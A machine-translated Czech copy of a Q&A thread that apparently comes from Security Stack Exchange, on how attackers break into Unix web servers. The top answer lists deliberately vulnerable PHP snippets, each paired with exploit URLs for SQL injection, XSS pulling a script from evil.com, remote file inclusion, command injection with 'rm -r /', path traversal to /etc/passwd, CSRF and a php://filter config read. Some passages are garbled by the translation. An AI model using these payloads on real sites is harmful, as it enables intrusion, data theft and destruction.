it-swarm-eu.dev

Jak funguje hackování?

Mluvím konkrétně o webových serverech, kde běží Unix. Vždycky jsem byl zvědavý, jak hackeři získají vstupní bod. Myslím, že nechápu, jak hacker může proniknout na webovou stránku, když jedinou metodou vstupu, kterou mají na server, je URL. Musím něco chybět, protože nevidím žádný způsob, jak hacker může získat přístup k serveru pouhým změnou adresy URL.

Podle vstupního bodu mám na mysli přístupový bod. Způsob, jakým se hacker dostane na server.

Mohu získat příklad toho, jak by hacker vytvořil vstupní bod do webového serveru? Jakýkoli jazyk C je přijatelný. S hackováním nemám vůbec žádné zkušenosti

Byl by oceněn jednoduchý příklad.

98
user7360

Hacky, které fungují jen změnou adresy URL

  • Jeden legitimní a jeden škodlivý příklad
  • Některé příklady vyžadují fungování kódování URL (obvykle se provádí automaticky pomocí prohlížeče)

SQL Injection

kód:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

exploit (přihlášení jako administrátor bez znalosti hesla):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Skriptování mezi weby (XSS)

kód:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

exploit (registrátori navštěvující uživatele jako zombie v BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Vzdálené spuštění kódu

kód (příklad Tylerla):

<? include($_GET["module"].".php"); ?>

exploit (stáhne a spustí libovolný kód):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Příkazová injekce

kód:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

exploit (snaží se odstranit všechny soubory z kořenového adresáře):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Vložení kódu

kód:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

exploit (injects phpinfo () příkaz, který vytiskne velmi užitečné informace o útoku na obrazovce):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

Injekce LDAP

kód:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

exploit (přihlásí se bez znalosti administrátorského hesla):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Průchod cesty

kód:

<?php
include("./" . $_GET['page']);
?>

exploit (načte/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Přesměrování/vpřed útok

kód:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

exploit (Odešle uživatele z vaší stránky na zlou stránku):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Nepodařilo se omezit přístup k URL

kód:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

využít:

example.com/users/showUser.php
example.com/admins/editUser.php

Padělání žádosti o více stránek

kód:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

využít:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Přetečení vyrovnávací paměti (technicky přístupem k adrese URL, ale implementované pomocí metasploitu

kód:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + meterpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

(V současné době) nejběžnějším způsobem je průchozí díry v aplikacích PHP================= (PHP $ ==== Applications).

Představte si, že se nic netušícího vlastníka webu rozhodlo udělat zkratku v jeho kódu tak, aby http://example.com/site.php?module=xyz ve skutečnosti nejprve načte nějakou šablonu Shell a poté spusťte "xyz.php", abyste vyplnili obsah. Takže možná píše něco takového:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

Hacker poté navštíví web pomocí následující adresy URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Nyní místo načtení jeho místního skriptu PHP zhasne a stáhne http://malicio.us/evilprogram.php a provede jej - běží cokoli PHP kód, který si útočník přeje. Možná) posílá spam, možná instaluje backdoor Shell, možná hledá v konfiguračních souborech hesla.

Existují doslova tisíce způsobů, jak hacknout web, každý stejně nový jako další. Téměř všeobecně se jedná o programátora, který neuvažoval o všech možných vstupech do svého programu ao neočekávaných účincích, které by mohly mít.

24
tylerl

Existují dva způsoby, jak se na to dívat, můžete se zaměřit na samotný server nebo na webovou aplikaci, kterou server běží.

Jako server může mít otevřené porty provozující služby, ke kterým se můžete připojit a získat přístup k serveru. Použitím známých exploitů můžete získat přístup root. Například některé FTP servery pro Unix mají slabá místa, která mohou být využívána nástroji jako Metasploit k získání kořenového prostředí.

Jako aplikace existuje příliš mnoho způsobů, jak využít špatně napsanou nebo nakonfigurovanou aplikaci. Například, pokud předáte dotaz SQL jako GET, můžete skutečně manipulovat se samotnou adresou URL a provést SQL Injection útok a výpis celé databáze. Například (v závislosti na kódování webu): http://www.mydomain.com/products/products.asp?productid=12 Uživatelské jméno VYBRANÉ UNIE, heslo UŽIVATELŮ

Opět se dotknete masivního předmětu a doufám, že vám to pomůže zaměřit další kroky.

11
schroeder

Krátká odpověď

To nemusí být správná otázka.

Hacker ...

... je sociální inženýr.

Zajímají se více o jejich interakce s lidmi než o interakce s počítači. Hacker by mu raději nechal předat své heslo, než by ho musel brutálně vynutit.

... hledá znalosti ...

... a ví, že vědění je moc. Hacker se více zajímá o získává číslo vaší kreditní karty, než o které ve skutečnosti používá.

... používá morálku jako omluvu ...

... to není příčina. To je důvod, proč mnoho hackerů využije morálně orientovaných politických událostí k zveřejnění. Vědí, že mohou použít morálku k omluvení svých činů v očích veřejnosti.

... nechytí se, pokud nebude chtít.

Většinu času. Hackeři z rádoby Wannabe, kteří se do hry přímo vrhnou bez ohledu na utajení nebo anonymitu, se v hackerské komunitě nazývají „dětští skripty“ nebo „skiddies“. Existuje mnohem více skiddies než hackerů, s největší pravděpodobností, a budou pravděpodobně vaše největší nepříjemnost.

... nepotřebuje žádné speciální nářadí nebo zadní vrátka.

Frontend, který jste poskytli, je pravděpodobně dostačující.

Dlouhá odpověď

Můžete se zajistit proti zneužití v Metasplot, co chcete. Hacker prostě vejde přímo dovnitř předními dveřmi - pokud ne doslova, doslova.

Odpověď, kterou chcete

Když vidím, jak se lidem nelíbí odpověď, kterou jsem dal, jak je to adekvátní, dám ti něco více v souladu s tím, co chceš.

Hackeři rádi zůstávají v anonymitě. Prvním krokem v jakémkoli útoku je zřetězení řady proxy nějakého druhu, ať už jde o SOCKS proxy, zombie nebo jen jednoduché roboty tvořící botnet. Existuje několik způsobů, jak toho dosáhnout, ale pojďme získat nějaké mrtvé proxy pro diskusi. Zamiřte na Pastebin.com a hledejte 8080. Toto je běžný port pro webové proxy. Přejděte dolů ve výsledcích, dokud nenajdete seznam IP adres, a kliknutím zobrazte výsledek. Měli byste mít dlouhý seznam webových proxy. Mohu zaručit, že většina, ne-li všechna, bude mrtvá. Litujeme, nejedná se o výukový program pro hackery.

Dalším krokem je shromáždit zdánlivě triviální informace o vašem cíli. Pomocí svých proxy serverů by hacker spouštěl portréty a pak zkoušel všechny služby, které najde. Máte web? Pojďme to prozkoumat. Máte server MySQL? Uvidíme, jakou verzi to je. Provozujete SSH? Uvidíme, zda přijímá textová hesla nebo je omezena na certifikáty.

Poté se hacker posadí, podívá se na to, co se shromáždil, a rozhodne, co je nejslabší stránkou systému. V závislosti na velikosti systému by se mohl vrátit a sondovat o něco více, pokud existuje více sond a má pocit, že nezískal dostatečně dobrou slabost. Slabá stránka nemusí být skutečnou bezpečnostní „dírou“: musí to být jen nejslabší článek. Možná máte FTP server, který nechrání před kladivem (opakované pokusy o přihlášení). Možná máte webový server se spoustou formulářů nebo potenciálně využitelnými adresami URL. Stojí za to prozkoumat je dále.

V případě potřeby může útočník napsat skript nebo program k provedení posledního útoku, i když tomu tak vždy není. Většinu slabých stránek lze využít pomocí stávajících nástrojů, takže pro moderního hackera to obvykle není nutné. Hackeři však občas objeví nové bezpečnostní díry v softwaru, v takovém případě někdy potřebují napsat speciální nástroje, aby mohli tento software využít.

Dobrým příkladem očividně zřejmého útokového programu je ten, který se používá k tomu, aby na serverech způsoboval problémy ve hře Terraria. Nebyl to jeho původní účel, ale protože to odhaluje různá využití v serverovém softwaru, má to tendenci být používány pro jiné. Napsal jsem to v C #. Zdrojový kód je k dispozici na GitHub . Využívá manipulaci s bytecode k úpravě stávajícího klienta k odesílání škodlivých dat. Server tato data neočekává a reaguje tak, jak nebylo navrženo. Objevování exploitů, jako je tento, může být stejně jednoduché jako reverzní inženýrství cílového softwaru - říkám jednoduché, protože se to stalo stále snadnějším úkolem s moderními reflexními jazyky, jako jsou C # a Java. Programy jako .NET Reflector (placené) a dotPeek (prozatím zdarma) to umožňují kliknutím na tlačítko. Dostatečně vyškolený programátor C # pak může kód sledovat, určit jeho funkčnost a napsat program, který tuto funkci změní.

7
Zenexer

Můj přítel měl smlouvu na práci na webu. Zatímco si všiml, hackeři se dostali na web a dělali věci, které se mu nelíbily. Poté, co se podíval na některé soubory protokolu, zjistil, že „hackeři“ našli web pomocí googlování chyby mysql.

Když jste schopni aplikovat sql, můžete dělat, co chcete, například vytvořit si účet. Pokud můžete nahrávat soubory (zejména php), máte možnost je spustit. Pokud to provedete, můžete udělat více škody, jako je čtení/zápis souborů na souborovém systému serveru, i když nemáte účet na serveru Linux/Windows.

Další technikou je vloupání do databáze, při pohledu na hesla (zejména pokud nejsou hashovaná), než pokus o navázání ssh nebo ftp připojení ke stejné IP adrese webu a vyzkoušení kombinace uživatel/heslo.

Také nemusíte proniknout na server, abyste byli hacknuti. Někdo, koho jsem potkal, mi vyprávěl příběh o tom, jak byl na jeho server nainstalován zastaralý software. Útočníci jej použili k nahrání a spuštění vlastního souboru php, který vložil jeden řádek kódu (přidat iframe) do každého souboru index.php a index.html. V podstatě nikdo nebyl schopen navštívit stránky. Buď přesměroval, nebo dal mnoho vyskakovacích oken.

4
user5575

Kolikrát jsme četli o přihlášení bez hesla nebo „Joes“? Vyžaduje znalost Metasploitu nebo něco opravdu exotického, aby se dostal do předních dveří. Trochu jako běžící auto sedící na příjezdové cestě za chladného rána „Prosím, ukradni mě“.

2
jl01

Jen pár dalších příkladů, které byste měli zvážit.

V návaznosti na příklad z tylerlu:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Vektor útoku:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Jedná se o lokální soubor, který zahrnuje útok base64 z důvodu chybějícího zabezpečeného kódování, útočník je schopen číst téměř jakýkoli soubor na webu nebo serveru, který končí [.php], v tomto případě čtení obsahu souboru konfigur.php file, PHP vrací základní kód_64 celého obsahu souboru, který lze snadno dekódovat zpět na čitelný text.

Chybná adresa URL však nemusí hledat díry pro ověření zabezpečení vstupu.

Na mnoha webech pro komerční obchodování kód $ PHP_SELF zkresluje název souboru, kde yoursite.com/admin/administrators.php, $ PHP_SELF nahlásil název souboru jako administors.php, pokud však byl login.php připojen jako admin/administors.php/login. php, potom $ PHP_SELF špatně nahlásí login.php jako název souboru namísto administrátorů.php.

Například pokud je v tomto příkladu, který se inspiruje úžasem, položena otázka ověření relace správce:

* Pokud (nikoli platná relace správce) a ($ PHP_SELF není = na login.php), pak přesměrujte na login.php *

Stránka se nikdy nepřesměruje na login.php, protože $ PHP_SELF nesprávně hlásí skutečný název souboru, takže útočník má přístup k souboru administrators.php bez nutnosti správných přihlašovacích údajů.

1
Taipo